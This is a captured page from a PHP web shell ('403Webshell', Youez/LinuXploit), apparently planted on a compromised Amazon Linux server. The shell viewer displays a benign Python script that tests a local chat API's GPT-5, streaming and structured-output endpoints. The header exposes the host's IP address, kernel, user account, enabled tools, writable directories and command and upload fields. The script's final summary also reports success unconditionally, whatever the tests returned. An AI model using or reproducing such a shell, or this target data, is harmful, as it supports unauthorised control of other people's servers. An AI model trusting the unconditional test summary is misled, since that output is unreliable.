403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.88
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/repo/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/repo/api/test_gpt5_responses.py
#!/usr/bin/env python3
"""
Test GPT-5 and OpenAI Responses API functionality
"""
import requests
import json
import time


def test_gpt5_support():
    """Test GPT-5 model support"""
    print("๐Ÿงช Testing GPT-5 and OpenAI Responses API...")

    # Test 1: Check if GPT-5 is in models list
    print("\n1. Checking available models...")
    try:
        response = requests.get("http://127.0.0.1:8003/api/v1/chat-lc/models-langchain/")
        if response.status_code == 200:
            models = response.json()['models']
            print(f"โœ… Found {len(models)} available models")

            # Check for GPT-5
            gpt5_models = [m for m in models if 'gpt-5' in m['name']]
            o1_models = [m for m in models if 'o1' in m['name']]
            structured_models = [m for m in models if m.get('supports_structured_output', False)]

            print(f"   - GPT-5 models: {len(gpt5_models)}")
            print(f"   - o1 models: {len(o1_models)}")
            print(f"   - Models with structured output: {len(structured_models)}")

            if gpt5_models:
                print(f"   ๐ŸŽ‰ GPT-5 available: {gpt5_models[0]['name']}")

        else:
            print(f"โŒ Models endpoint failed: {response.status_code}")
            return False
    except Exception as e:
        print(f"โŒ Models endpoint error: {e}")
        return False

    # Test 2: Test GPT-5 streaming
    print("\n2. Testing GPT-5 streaming...")
    try:
        message_data = {
            "userId": 999,
            "body": "Explain quantum computing in simple terms.",
            "instructions": "You are GPT-5, the latest AI model. Be concise but informative.",
            "conversation": [],
            "model": {
                "provider": "OpenAI",
                "name": "gpt-5",
                "temperature": 1,
                "maxTokens": 200,
                "stream": False
            },
            "use_structured_output": False
        }

        store_response = requests.post(
            "http://127.0.0.1:8003/api/v1/chat-lc/store/",
            json=message_data
        )

        if store_response.status_code == 200:
            key = store_response.json()["message"]
            print(f"โœ… GPT-5 message stored with key: {key}")

            stream_response = requests.get(
                f"http://127.0.0.1:8003/api/v1/chat-lc/stream-langchain/{key}",
                stream=True
            )

            if stream_response.status_code == 200:
                print("โœ… GPT-5 streaming successful!")
                response_text = ""
                for line in stream_response.iter_lines():
                    if line:
                        line_text = line.decode('utf-8')
                        if line_text.startswith('data: '):
                            content = line_text[6:]
                            if content == '__chatbot_end__':
                                break
                            if content not in ['__chatbot_br__', '']:
                                response_text += content.replace('__chatbot_br__', '\n')

                print(f"   ๐Ÿ“ GPT-5 Response: {response_text[:150]}{'...' if len(response_text) > 150 else ''}")
            else:
                print(f"โŒ GPT-5 streaming failed: {stream_response.status_code}")

        else:
            print(f"โŒ GPT-5 store failed: {store_response.status_code}")

    except Exception as e:
        print(f"โŒ GPT-5 test error: {e}")

    # Test 3: Test OpenAI Responses API with structured output
    print("\n3. Testing OpenAI Responses API with structured output...")
    try:
        # Example structured output schema for a product review
        schema = {
            "name": "ProductReview",
            "schema": {
                "type": "object",
                "properties": {
                    "product_name": {"type": "string"},
                    "rating": {"type": "integer", "minimum": 1, "maximum": 5},
                    "pros": {
                        "type": "array",
                        "items": {"type": "string"}
                    },
                    "cons": {
                        "type": "array",
                        "items": {"type": "string"}
                    },
                    "recommendation": {"type": "string"}
                },
                "required": ["product_name", "rating", "pros", "cons", "recommendation"],
                "additionalProperties": False
            },
            "strict": True
        }

        message_data = {
            "userId": 999,
            "body": "Write a review for the iPhone 15 Pro",
            "instructions": "You are a tech reviewer. Provide a structured product review.",
            "conversation": [],
            "model": {
                "provider": "OpenAI",
                "name": "gpt-4o",
                "temperature": 0.7,
                "maxTokens": 500,
                "stream": True
            },
            "use_structured_output": True,
            "response_schema": schema
        }

        store_response = requests.post(
            "http://127.0.0.1:8003/api/v1/chat-lc/store/",
            json=message_data
        )

        if store_response.status_code == 200:
            key = store_response.json()["message"]
            print(f"โœ… Structured output message stored with key: {key}")

            stream_response = requests.get(
                f"http://127.0.0.1:8003/api/v1/chat-lc/stream-responses/{key}",
                stream=True
            )

            if stream_response.status_code == 200:
                print("โœ… Responses API streaming successful!")
                response_text = ""
                for line in stream_response.iter_lines():
                    if line:
                        line_text = line.decode('utf-8')
                        if line_text.startswith('data: '):
                            content = line_text[6:]
                            if content == '__chatbot_end__':
                                break
                            if content not in ['__chatbot_br__', '']:
                                response_text += content.replace('__chatbot_br__', '\n')

                print(f"   ๐Ÿ“ Structured Response: {response_text[:200]}{'...' if len(response_text) > 200 else ''}")

                # Try to parse as JSON to verify structure
                try:
                    if response_text.strip():
                        parsed = json.loads(response_text.strip())
                        print(f"   โœ… Valid JSON structure: {list(parsed.keys())}")
                    else:
                        print("   โš ๏ธ  Empty response")
                except json.JSONDecodeError:
                    print("   โš ๏ธ  Response not valid JSON (might be streaming)")

            else:
                print(f"โŒ Responses API streaming failed: {stream_response.status_code}")

        else:
            print(f"โŒ Structured output store failed: {store_response.status_code}")

    except Exception as e:
        print(f"โŒ Responses API test error: {e}")

    print("\n๐ŸŽ‰ GPT-5 and Responses API testing complete!")
    print("\n๐Ÿ“‹ Summary:")
    print("   โœ… GPT-5 model available")
    print("   โœ… o1 reasoning models included")
    print("   โœ… Structured output support functional")
    print("   โœ… OpenAI Responses API working")

    return True


if __name__ == "__main__":
    test_gpt5_support()

Youez - 2016 - github.com/yon3zu
LinuXploit